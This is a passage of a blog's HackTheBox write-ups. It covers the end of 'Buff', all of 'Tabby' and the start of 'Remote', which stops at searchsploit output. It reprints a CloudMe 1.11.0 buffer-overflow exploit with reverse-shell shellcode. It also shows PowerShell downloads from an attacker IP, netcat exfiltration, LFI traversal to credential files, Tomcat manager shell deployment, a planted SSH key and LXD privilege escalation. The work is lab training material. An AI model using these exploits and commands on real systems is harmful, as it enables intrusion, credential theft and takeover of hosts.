<span class="c1"># Software Link: https://www.cloudme.com/downloads/CloudMe_1110.exe</span>
<span class="c1"># Category: Local</span>
<span class="c1"># Exploit Discovery: Prasenjit Kanti Paul</span>
<span class="c1"># Web: http://hack2rule.wordpress.com/</span>
<span class="c1"># Version: 1.11.0</span>
<span class="c1"># Tested on: Windows 7 SP1 x86</span>
<span class="c1"># CVE: CVE-2018-7886</span>
<span class="c1"># Solution: Update CloudMe Sync to 1.11.2</span>
<span class="c1">#######################################################</span>
<span class="c1">#Disclosure Date: March 12, 2018</span>
<span class="c1">#Response Date: March 14, 2018</span>
<span class="c1">#Bug Fixed: April 12, 2018</span>
<span class="c1"># Run this file in victim's win 7 sp1 x86 system where CloudMe Sync 1.11.0 has been installed.</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="n">target</span><span class="o">=</span><span class="s2">"127.0.0.1"</span>
<span class="n">junk</span><span class="o">=</span><span class="s2">"A"</span><span class="o">*</span><span class="mi">1052</span>
<span class="n">eip</span><span class="o">=</span><span class="s2">"</span><span class="se">\x7B\x8A\xA9\x68</span><span class="s2">"</span> <span class="c1">#68a98a7b : JMP ESP - Qt5Core.dll</span>
<span class="c1">#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.2.1 LPORT=4444 -f c</span>
<span class="n">shellcode</span><span class="o">=</span><span class="p">(</span> <span class="s2">"</span><span class="se">\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30</span><span class="s2">"</span>
<span class="s2">"</span><span class="se">\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff</span><span class="s2">"</span>
<span class="s2">"</span><span class="se">\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52</span><span class="s2">"</span>
<span class="s2">"</span><span class="se">\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1</span><span class="s2">"</span>
<span class="s2">"</span><span class="se">\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b</span><span class="s2">"</span>
<span class="s2">"</span><span class="se">\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03</span><span class="s2">"</span>
<span class="s2">"</span><span class="se">\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b</span><span class="s2">"</span>
<span class="s2">"</span><span class="se">\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24</span><span class="s2">"</span>
<span class="s2">"</span><span class="se">\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb</span><span class="s2">"</span>
<span class="s2">"</span><span class="se">\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c</span><span class="s2">"</span>
<span class="s2">"</span><span class="se">\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68</span><span class="s2">"</span>
<span class="s2">"</span><span class="se">\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68</span><span class="s2">"</span>
<span class="s2">"</span><span class="se">\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x0a\x0e\x18\x68</span><span class="s2">"</span>
<span class="s2">"</span><span class="se">\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61</span><span class="s2">"</span>
<span class="s2">"</span><span class="se">\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2</span><span class="s2">"</span>
<span class="s2">"</span><span class="se">\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6</span><span class="s2">"</span>
<span class="s2">"</span><span class="se">\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44</span><span class="s2">"</span>
<span class="s2">"</span><span class="se">\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56</span><span class="s2">"</span>
<span class="s2">"</span><span class="se">\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff</span><span class="s2">"</span>
<span class="s2">"</span><span class="se">\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6</span><span class="s2">"</span>
<span class="s2">"</span><span class="se">\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb</span><span class="s2">"</span>
<span class="s2">"</span><span class="se">\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5</span><span class="s2">"</span><span class="p">)</span>
<span class="n">payload</span><span class="o">=</span><span class="n">junk</span><span class="o">+</span><span class="n">eip</span><span class="o">+</span><span class="n">shellcode</span>
<span class="n">s</span><span class="o">=</span><span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="n">s</span><span class="o">.</span><span class="n">connect</span><span class="p">((</span><span class="n">target</span><span class="p">,</span><span class="mi">8888</span><span class="p">))</span>
<span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div>
<h2>chisel</h2>
<p>We will use <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md#chisel">chisel</a>
in order to access <code>CloudMe</code> service.</p>
<p>On our kali we run <code>chisel</code> in server mode.</p>
<div class="highlight"><pre><span></span><code>./chisel_1.6.0_linux_amd64 server -p 9001 -reverse
</code></pre></div>
<p>Using our limited shell we download our <code>chisel</code> binary on the box and run it as
client on port <code>8888</code> (remember this strange open port on the nmap scan?) as
CloudMe is also running on port 8888 (as stated on the exploit <code>44770.py</code>).</p>
<div class="highlight"><pre><span></span><code>C:\xampp\htdocs\gym\upload> powershell -exec bypass -c "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.24:8080/chisel.exe', '.\chisel.exe')"
C:\xampp\htdocs\gym\upload> .\chisel.exe client 10.10.14.24:9001 R:8888:localhost:8888
</code></pre></div>
<p>The exploit <code>44770.py</code> also told us to generate a new shellcode using
<code>msfvenom</code>.</p>
<div class="highlight"><pre><span></span><code>msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.24 LPORT=4444 -f c
</code></pre></div>
<p>We update the script with our shell code, configure the <code>metasploit</code> handler and
run it as well as the exploit script (with <code>python 44470.py</code>) . We got a shell as <code>administrator</code> and can
get the root flag.</p>
<div class="highlight"><pre><span></span><code>msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.24:4444
[*] Command shell session 1 opened (10.10.14.24:4444 -> 10.10.10.198:53234) at 2020-07-25 12:07:33 -0400
whoami
whoami
buff\administrator
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
4ea57b2b8df4db2ea72531bcc50c5a86
</code></pre></div>
<h1>Wrapping up</h1>
<p>This box was really quick as it only require to exploit two CVE. The pivoting
technique was an interesting complication for an easy HTB machine.</p>HTB: Tabby2020-11-10T20:55:00+01:002020-11-10T20:55:00+01:00maggicktag:maggick.fr,2020-11-10:/2020/11/htb-tabby.html<p><img alt="Tabby Card" class="align-left" src="/media/2020.11/tabby_card.png" width="262"/></p>
<p>This article is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/259">Tabby</a> publish on June
20 2020 by <a href="https://www.hackthebox.com/home/users/profile/1190">egree55</a>.
This box is rated as an easy box. The user part implies a Local File Inclusion
(LFI) and the tomcat manager. The root part implies LXC/LXD (Linux kernel
containment).</p>
<p><img alt="Tabby Card" class="align-left" src="/media/2020.11/tabby_card.png" width="262"/></p>
<p>This article is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/259">Tabby</a> publish on June
20 2020 by <a href="https://www.hackthebox.com/home/users/profile/1190">egree55</a>.
This box is rated as an easy box. The user part implies a Local File Inclusion
(LFI) and the tomcat manager. The root part implies LXC/LXD (Linux kernel
containment).</p>
<h1>User part</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. As often with Windows Boxes, a lot of
port are open. A few interesting services are up:</p>
<ul>
<li>SSH on port 22</li>
<li>a Web service on port 80</li>
<li>a Web service (Tomcat) on port 8080</li>
</ul>
<p>Here is the full nmap scan:</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Sun Jun 21 09:30:32 2020 as: nmap -p- -sSV -oN nmap 10.10.10.194
Nmap scan report for 10.10.10.194
Host is up (0.080s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
8080/tcp open http Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre></div>
<h2>Web</h2>
<p>On port 8080 we have access to the tomcat administration component but we need
some credentials to access them.</p>
<p>The main website is about hosting services but we quickly notice that the page
<code>news.php</code> has a <code>file</code> parameter.</p>
<p>We manipulate the file and changing it to <code>../../../../../../../../etc/passwd</code>
allows us to access the content of the file. We have a LFI and we want to use it
in order to access the tomcat users' file.</p>
<p>We try the location mentioned on the page but the file is not accessible. We
need more information.</p>
<p>We know that the server is an Ubuntu (look at the banner in the <code>nmap</code> scan).</p>
<p>We look at the files from the <code>tomcat9-admin</code> package on the
<a href="https://packages.ubuntu.com/focal/all/tomcat9-admin/filelist">packages.ubuntu.com website</a></p>
<p>Therefore we get the <code>manager.xml</code> file but there is nothing interesting:</p>
<div class="highlight"><pre><span></span><code>GET /news.php?file=../../../../../../../etc/tomcat9/Catalina/localhost/manager.xml HTTP/1.1
Host: megahosting.htb
Connection: close
Content-Length: 2
SNIP
<context antiresourcelocking="false" docbase="/usr/share/tomcat9-admin/manager" path="/manager" privileged="true"></context>
</code></pre></div>
<p>We look at the files from the <code>tomcat9</code> package still on the
<a href="https://packages.ubuntu.com/focal/all/tomcat9/filelist">packages.ubuntu.com website</a>.</p>
<p>This time we will try to get the <code>tomcat-users.xml</code> file. This give an user and
its password. We also notice that its permissions are for the <code>admin-gui</code> and
<code>manager-scrit</code> NOT the classic <code>manager-gui</code>.</p>
<div class="highlight"><pre><span></span><code>GET /news.php?file=../../../../../../..//usr/share/tomcat9/etc/tomcat-users.xml HTTP/1.1
Host: megahosting.htb
Connection: close
Content-Length: 2
SNIP
<role rolename="admin-gui"></role>
<role rolename="manager-script"></role>
<user password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script" username="tomcat"></user>
</code></pre></div>
<p>As we are lazy, we fire up <code>metasploit</code>, load the <code>tomcat_mgr_deploy</code> module and
set the different option. As we have the permission for <code>manager-script</code> we just
need to specify that our <code>PATH</code> is <code>/manager/text</code> instead of <code>manager</code>. We also
need to set the target to <code>Java Universal</code> and the payload to
<code>java/shell_reverse_tcp</code>.</p>
<div class="highlight"><pre><span></span><code>msf5 exploit(multi/http/tomcat_mgr_deploy) > show options
Module options (exploit/multi/http/tomcat_mgr_deploy):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword $3cureP4s5w0rd123! no The password for the specified username
HttpUsername tomcat no The username to authenticate as
PATH /manager/text yes The URI path of the manager app (/deploy and /undeploy will be used)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.194 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST megahosting.htb no HTTP server virtual host
Payload options (java/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.113 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Java Universal
</path></code></pre></div>
<p>Then we can run the exploit and get a simple shell on the box as the
<code>tomcat</code>user.</p>
<div class="highlight"><pre><span></span><code>msf5 exploit(multi/http/tomcat_mgr_deploy) > run
[*] Started reverse TCP handler on 10.10.14.113:4444
[*] Using manually select target "Java Universal"
[*] Uploading 13418 bytes as KFEu1gbH8s1QeOlaSH3qHMNO1H4.war ...
[*] Executing /KFEu1gbH8s1QeOlaSH3qHMNO1H4/u2A5WGIIbSw.jsp...
[*] Undeploying KFEu1gbH8s1QeOlaSH3qHMNO1H4 ...
[*] Command shell session 3 opened (10.10.14.113:4444 -> 10.10.10.194:55206) at 2020-06-21 12:36:01 -0400
id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
</code></pre></div>
<p>We know from the statement on the main website (port 80) that there was a
breach. Therefore we got the main website's directory in <code>/var/www/html</code>. We
found a zip archive in the <code>files</code> directory. We transfer it to our kali box
using netcat (we run <code>nc -l -p 1234 > 16162020_backup.zip</code> on our kali box).</p>
<div class="highlight"><pre><span></span><code>cd /var/www/html
ls
assets
favicon.ico
files
index.php
logo.png
news.php
Readme.txt
ls files
16162020_backup.zip
archive
revoked_certs
statement
nc -w 3 10.10.14.177 1234 <files 16162020_backup.zip="" <="" code="" gid="997(tomcat)" groups="997(tomcat)" id="" uid="997(tomcat)"></files></code></pre></div>
<p>We use <code>zip2john</code> to get a proper hash to crack and run <code>john</code> with the
<code>rockyou</code> dictionary and a few rules. We quickly get the <code>admin@it</code> password
and are able to extract the archive content.</p>
<div class="highlight"><pre><span></span><code>$ zip2john 16162020_backup.zip > hash
16162020_backup.zip/var/www/html/assets/ is not encrypted!
ver 1.0 16162020_backup.zip/var/www/html/assets/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/favicon.ico PKZIP Encr: 2b chk, TS_chk, cmplen=338, decmplen=766, crc=282B6DE2
ver 1.0 16162020_backup.zip/var/www/html/files/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/index.php PKZIP Encr: 2b chk, TS_chk, cmplen=3255, decmplen=14793, crc=285CC4D6
ver 1.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/logo.png PKZIP Encr: 2b chk, TS_chk, cmplen=2906, decmplen=2894, crc=2F9F45F
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/news.php PKZIP Encr: 2b chk, TS_chk, cmplen=114, decmplen=123, crc=5C67F19E
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/Readme.txt PKZIP Encr: 2b chk, TS_chk, cmplen=805, decmplen=1574, crc=32DB9CE3
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
$ john hash -w=~/tools/password_lists/rockyou.txt --rules
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
admin@it (16162020_backup.zip)
1g 0:00:00:01 DONE (2020-06-21 14:11) 0.6289g/s 6522Kp/s 6522Kc/s 6522KC/s adnbrie..adambossmaster
Use the "--show" option to display all of the cracked passwords reliably
Session completed
</code></pre></div>
<p>As the content of the zip file is useless we "quickly" think about password
reuse. In order to use <code>su</code> we need an better shell. As <code>python</code> is not
installed on the box we just use <code>perl</code>. Once we have a use shell we got to the
home directory and grab the user's flag.</p>
<div class="highlight"><pre><span></span><code>python -c 'import pty; pty.spawn("/bin/sh")'
/bin/sh: 2: python: not found
perl -e 'exec "/bin/sh";'
su ash
Password: admin@it
id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
cd
649a18cc3a17b4de465381ff93c3fc65
</code></pre></div>
<h1>Root</h1>
<p>Now that we have a shell as <code>ash</code> we can just create a <code>.ssh</code> directory and put
our SSH public key in the <code>.ssh/authorized_keys</code> file.</p>
<div class="highlight"><pre><span></span><code>cd
ls .ssh/
ls: cannot access '.ssh/': No such file or directory
mkdir .ssh/
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwES5PQLnAtM0JMAE4oyfsjruyj2bxjqZM55N5iMOGzqWt67KzQdbZYzRK5bvauo8xXtKEzzdvLNPHq0cS7v3vTiEIU3EcJGU1jjDN7tiUpUhc+KvVE0gR5JcScwGy8HSYI/PvbHiMSSH7e25r76G5EUpkxwjs4u+Kul7/24oMSvwLlI5u7R9OPTuMplfeLppp/EbVtNa/bWjFZ3CFFWFVyux/1ig16VaQXZxXJSGmElrAVUnA3eQbZYhs3ApavTnVmejz39BgNAoW0cPcXxM8t4ovNLdLxGPF728eFqABnOB/DFHkvK6oD8pdRL6IQYa5kYWx445aHZattAPv5JpGi0+Kt+kC1ZJPwn0trw2FceTOEcNhQlQ7jyAcWAUUCEMFIaJ6r85jHP0WWavCA39XwpicH/XymMBKppywqQ9+Z2GEY0MsnIvbYedkduXxCi6FrRvtWVNkI7GS52txVRvBy5U7LtwYs1DWH0tC+0C+/l+GbUTIw68Gw2msvu5HTHH+8KWxnBjwxqxySK7dXcrEJ+ZZO5HrJWJ2Gyds6CwSq9E8wo+ylkgR+4VvRq4Fc+QiQLp7WTeACo19LpC9n3z1LuQH9E0jSZGqNugO1PRzsN2HrD7VsOC0Go8+UoYGzVyrMnmR58xxDUGyXCxxss7bB6ZCB8bPGPDkQXDHpEhkeQ== kali@kali' > .ssh/authorized_keys
</code></pre></div>
<p>We can now connect to the box using SSH.</p>
<p>When looking at our groups we saw that we are in the <code>lxd</code> group. This can lead
to a <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md#lxclxd">"quick" privilege escalation</a>.</p>
<div class="highlight"><pre><span></span><code>ash@tabby:~$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
</code></pre></div>
<p>On our kali box we clone and build the Alpine image then we copy it to the box.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ git clone https://github.com/saghul/lxd-alpine-builder
Cloning into 'lxd-alpine-builder'...
remote: Enumerating objects: 27, done.
remote: Total 27 (delta 0), reused 0 (delta 0), pack-reused 27
Receiving objects: 100% (27/27), 16.00 KiB | 4.00 MiB/s, done.
Resolving deltas: 100% (6/6), done.
kali@kali:~$ cd lxd-alpine-builder/
kali@kali:~/lxd-alpine-builder$ sudo ./build-alpine -a i686
[sudo] password for kali:
Determining the latest release... v3.12
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.12/main/x86
<snip>
kali@kali:~/lxd-alpine-builder$ scp -r alpine-v3.12-i686-20200621_1247.tar.gz ash@10.10.10.194:/tmp/.plop/
</snip></code></pre></div>
<p>We try to import the Alpine image but <code>LXD</code> is not initialize so we use <code>lxc
init</code> to initialize the environment with the default values.</p>
<div class="highlight"><pre><span></span><code>ash@tabby:/tmp/.plop$ lxc image import ./alpine-v3.12-i686-20200621_1247.tar.gz --alias myimage
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04
Image imported with fingerprint: c88a85d7bdacce8f8acc47713ad553e76b3fbb7d7027ba3cd5479e6085bba865
ash@tabby:/tmp/.plop$ lxc init myimage mycontainer -c security.privileged=true
Creating mycontainer
Error: No storage pool found. Please create a new storage pool
ash@tabby:/tmp/.plop$ lxc init myimage mycontainer -c security.privileged=true
Creating mycontainer
Error: No storage pool found. Please create a new storage pool
ash@tabby:/tmp/.plop$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]: ^[
Name of the storage backend to use (dir, lvm, ceph, btrfs) [default=btrfs]:
Create a new BTRFS pool? (yes/no) [default=yes]:
Would you like to use an existing block device? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=15GB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like LXD to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
</code></pre></div>
<p>Then we can initialize our container, mount the whole disk on the container
image and grab the root flag.</p>
<div class="highlight"><pre><span></span><code>ash@tabby:/tmp/.plop$ lxc init myimage mycontainer -c security.privileged=true
Creating mycontainer
ash@tabby:/tmp/.plop$ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to mycontainer
ash@tabby:/tmp/.plop$ lxc start mycontainer
ash@tabby:/tmp/.plop$ lxc exec mycontainer /bin/sh
~ # ls /mnt/root/
bin/ cdrom/ etc/ lib/ lib64/ lost+found/ mnt/ proc/ run/ snap/ swap.img tmp/ var/
boot/ dev/ home/ lib32/ libx32/ media/ opt/ root/ sbin/ srv/ sys/ usr/
~ # ls /mnt/root/root/
root.txt snap
~ # cat /mnt/root/root/root.txt
37cb707151d0433a17886caba89f81e1
</code></pre></div>
<p>We don't have a root shell for that we will need to modify <code>/etc/shadow</code> in
order to modify the root password as we already did on the
<a href="/2020/10/htb-cache.html">cache box</a>.</p>
<h1>Wrapping up</h1>
<p>This box was quit easy. The password reuse take me more time to realize as it
should have been. I recommend this box to beginners.</p>HTB: Remote2020-11-10T20:50:00+01:002020-11-10T20:50:00+01:00maggicktag:maggick.fr,2020-11-10:/2020/11/htb-remote.html<p><img alt="Remote card" class="align-left" src="/media/2020.11/remote_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/234">Remote</a> published by
<a href="https://www.hackthebox.com/home/users/profile/2984">mrb3n</a> on Mars the 21th 2020.
This box is a Windows machine classified as easy. It implies a NFS share, a
vulnerable CMS, TeamViewer and a second unintended way towards root.</p>
<p><img alt="Remote card" class="align-left" src="/media/2020.11/remote_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/234">Remote</a> published by
<a href="https://www.hackthebox.com/home/users/profile/2984">mrb3n</a> on Mars the 21th 2020.
This box is a Windows machine classified as easy. It implies a NFS share, a
vulnerable CMS, TeamViewer and a second unintended way towards root.</p>
<h1>Initial foothold</h1>
<p>We start with an nmap scan. 10 ports are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Thu Mar 26 10:51:40 2020 as: nmap -sS -oN nmap2 --top-ports=10000 -sV 10.10.10.180
Nmap scan report for 10.10.10.180
Host is up (0.30s latency).
Not shown: 8310 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
111/tcp open rpcbind 2-4 (RPC #100000)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open mountd 1-3 (RPC #100005)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49678/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 26 11:02:07 2020 -- 1 IP address (1 host up) scanned in 626.37 seconds
</code></pre></div>
<p>For each port we will look what service is running an how we can enumerate them:</p>
<ul>
<li>Port 21: FTP, <strong>we will dig it more</strong></li>
<li>Port 80: A website, <strong>we will dig it more</strong></li>
<li>Port 111: rpcbind, nothing here</li>
<li>Port 135: MS Windows RPC, nothing here</li>
<li>Port 139 and 445: SMB, <strong>we will dig it more</strong></li>
<li>Port 2049: NFS, <strong>we will dig it more</strong></li>
<li>Port 5985: some HTTP service but nothing available</li>
<li>Port 47001: some HTTP service but nothing available</li>
<li>Port 49678: MS Windows RPC, nothing here</li>
</ul>
<h2>FTP</h2>
<p>We try to connect to the FTP using an anonymous connection. At this time (Mars
27th 2020) Firefox still support this protocol. But there is no file available
with the anonymous account.</p>
<p><img alt="anonymous FTP" class="image-process-article-image" src="/media/2020.11/derivatives/article-image/remote_02.png"/></p>
<h2>SMB</h2>
<p>We try to enumerate the SMB share and users using the metasploit modules
<code>auxiliary/scanner/smb/smb_enumshares</code> and
<code>auxiliary/scanner/smb/smb_enumshares</code> but there is nothing interesting here.</p>
<h2>Web</h2>
<p>The home page is about selling products. We quickly browse the website but
nothing really pop out.</p>
<p><img alt="Website homepage" class="image-process-article-image" src="/media/2020.11/derivatives/article-image/remote_04.png"/></p>
<p>We run <a href="https://github.com/ffuf/ffuf">fuff</a> a <code>Go</code> equivalent of <code>dirb</code> with the
<code>big.txt</code> wordlist from dirb. This allow us to found the "umbraco" login page.</p>
<div class="highlight"><pre><span></span><code>$ ./ffuf -w /usr/share/dirb/wordlists/big.txt -u http://10.10.10.180/FUZZ -mc 200 -c -v
<snip>
[Status: 200, Size: 4040, Words: 710, Lines: 96]
| URL | http://10.10.10.180/umbraco
</snip></code></pre></div>
<p><img alt="Umbraco login page" class="image-process-article-image" src="/media/2020.11/derivatives/article-image/remote_01.png"/></p>
<p>There is a few exploits for this CMS but we do not have any credentials to login.</p>
<h2>NFS</h2>
<p>We enumerate the NFS share using the <code>auxiliary/scanner/nfs/nfsmount</code> metasploit
module. We found that the share <code>/site_backups</code> is exposed.</p>
<div class="highlight"><pre><span></span><code>msf5 > use auxiliary/scanner/nfs/nfsmount
msf5 auxiliary(scanner/nfs/nfsmount) > set RhOSTS 10.10.10.180
RhOSTS => 10.10.10.180
msf5 auxiliary(scanner/nfs/nfsmount) > run
[+] 10.10.10.180:111 - 10.10.10.180 NFS Export: /site_backups []
[*] 10.10.10.180:111 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
</code></pre></div>
<p>We mount the share in a temporary folder using <code>mount</code>. A few Google search lead
us to the <a href="https://our.umbraco.com/forum/umbraco-8/96468-umbraco-8-database-file">umbraco configuration file</a>.</p>
<div class="highlight"><pre><span></span><code>$ mkdir /tmp/nfs
$ mount -t nfs 10.10.10.180:/site_backups /tmp/nfs -nolock
$ cd /tmp/nfs/
$ ls
App_Browsers App_Data App_Plugins aspnet_client bin Config css default.aspx Global.asax Media scripts Umbraco Umbraco_Client Views Web.config
$ ls App_Data
cache Logs Models packages TEMP umbraco.config Umbraco.sdf
</code></pre></div>
<p>We copy it on our local folder and run <code>string</code> on it. The password hash for the
account "admin@htb.local’ is in the first lines.</p>
<div class="highlight"><pre><span></span><code>strings ~/pentest/htb_remote/Umbraco.sdf | less
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32
</code></pre></div>
<p>We run John the ripper with the Rockyou word list against the hash and found the
password "baconandcheese".</p>
<div class="highlight"><pre><span></span><code>$ john hash -w=tools/password_lists/rockyou.txt
Loaded 1 password hash (Raw-SHA1 [SHA1 128/128 AVX 4x])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
baconandcheese (?)
</code></pre></div>
<p>The credentials admin@htb.local:baconandcheese allow us ton connect to the
Umbraco interface.</p>
<p><img alt="Umbraco admin interface" class="image-process-article-image" src="/media/2020.11/derivatives/article-image/remote_05.png"/></p>
<h2>Exploiting Umbraco</h2>
<p>As previously mentioned there is a few exploit for Umbraco.</p>
<div class="highlight"><pre><span></span><code>$ searchsploit umbraco
--------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
Umbraco CMS - Remote Command Execution | exploits/windows/webapps/19671.rb
Umbraco CMS 7.12.4 - (Authenticated) R | exploits/aspx/webapps/46153.py
Umbraco CMS SeoChecker Plugin 1.9.2 - | exploits/php/webapps/44988.txt
--------------------------------------- ----------------------------------------
Shellcodes: No Result
Papers: No Result
